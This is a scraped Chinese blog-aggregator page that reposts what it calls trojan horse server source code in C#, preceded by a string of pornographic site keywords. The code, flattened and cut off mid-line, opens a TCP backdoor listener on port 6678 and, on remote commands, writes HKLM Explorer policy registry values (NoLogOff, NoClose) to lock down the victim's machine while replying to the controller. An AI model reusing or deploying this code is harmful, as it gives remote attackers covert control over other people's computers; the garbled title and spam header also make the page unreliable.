日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > C# >内容正文

C#

服务器网页源代码被修改6,特洛伊木马服务器源代码(C#)

發布時間:2024/8/1 C# 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 服务器网页源代码被修改6,特洛伊木马服务器源代码(C#) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

特洛伊木馬服務器源代碼(C#)

特洛伊木馬服務器源代碼(C#)

日期:2013-06-02  瀏覽次數:20247 次

using?System;?using?System.Drawing;?using?System.Collections;?using?System.ComponentModel;?using?System.Windows.Forms;?using?System.Data;?using?System.IO;?using?System.Net;?using?System.Net.Sockets;?using?System.Threading;?using?Microsoft.Win32;?namespace?server?{?/**?///?Form1?的摘要說明。?///?public?class?Form1?:?System.Windows.Forms.Form?{?/**?///?必需的設計器變量。?///?private?System.ComponentModel.Container?components?=?null;?private?TcpListener?listener;?private?string?mystr="您好!非常抱歉,您的注冊表:";?private?RegistryKey?rrr=Registry.LocalMachine;?private?RegistryKey?key1;?public?Form1()?{?//?//?Windows?窗體設計器支持所必需的?//?InitializeComponent();?{int?port?=6678;?listener=new?TcpListener(port);?listener.Start();?Thread?thread=new?Thread(new?ThreadStart(target));?thread.Start();?}?//?//?TODO:?在?InitializeComponent?調用后添加任何構造函數代碼?//?}?public?void?target()?{?Socket?socket=?listener.AcceptSocket();?while(socket.Connected)?{?byte[]?by=new?Byte[6];?int?i=socket.Receive(by,by.Length,0);?string?ss=System.Text.Encoding.ASCII.GetString(by);?//OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注冊表OOOOOOOOOOOOOOOOOOOOOOOOOOO?//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&?if(ss=="jiance")?{?string?str="hjc";?byte[]?bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());?socket.Send(bytee,bytee.Length,0);?}?if(ss=="zx1000")?{?try?{?key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true);?key1.SetValue("NoLogOff",1);?key1.Close();?mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer鍵值NoLogOff被修改!請將它置為0!";?}?catch{}?if(key1==null)?{?try?{?RegistryKey?key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer");?key2.SetValue("NoLogOff",1);?key2.Close();?mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer鍵值NoLogOff被修改!請將它置為0!";?}//try?catch{}?}//if(key1==null){?string?str="hkz";?byte[]?bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());?socket.Send(bytee,bytee.Length,0);?}//if(ss=="")?//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&?//****************************************************************************?if(ss=="zx0100")?{?try?{?key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true);?key1.SetValue("NoClose",1);?key1.Close();?mystr=mystr+"LocalMachine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer鍵值NoClose被修改!請將它置為0!";?}?catch{}?if(key1==null)?{?try?{?RegistryKey?key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer");?key2.SetValue("NoClose",1);?key2.Close();?mystr=mystr+"LocalMachine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer鍵值NoClose被修改!請將它置為0!";?}//try?catch{}?}//if(key1==null){?string?str="hkz";?byte[]?bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());?socket.Send(bytee,bytee.Length,0);?}//if(ss=="zx0100&quo

免責聲明: 本文僅代表作者個人觀點,與愛易網無關。其原創性以及文中陳述文字和內容未經本站證實,對本文以及其中全部或者部分內容、文字的真實性、完整性、及時性本站不作任何保證或承諾,請讀者僅作參考,并請自行核實相關內容。

總結

以上是生活随笔為你收集整理的服务器网页源代码被修改6,特洛伊木马服务器源代码(C#)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。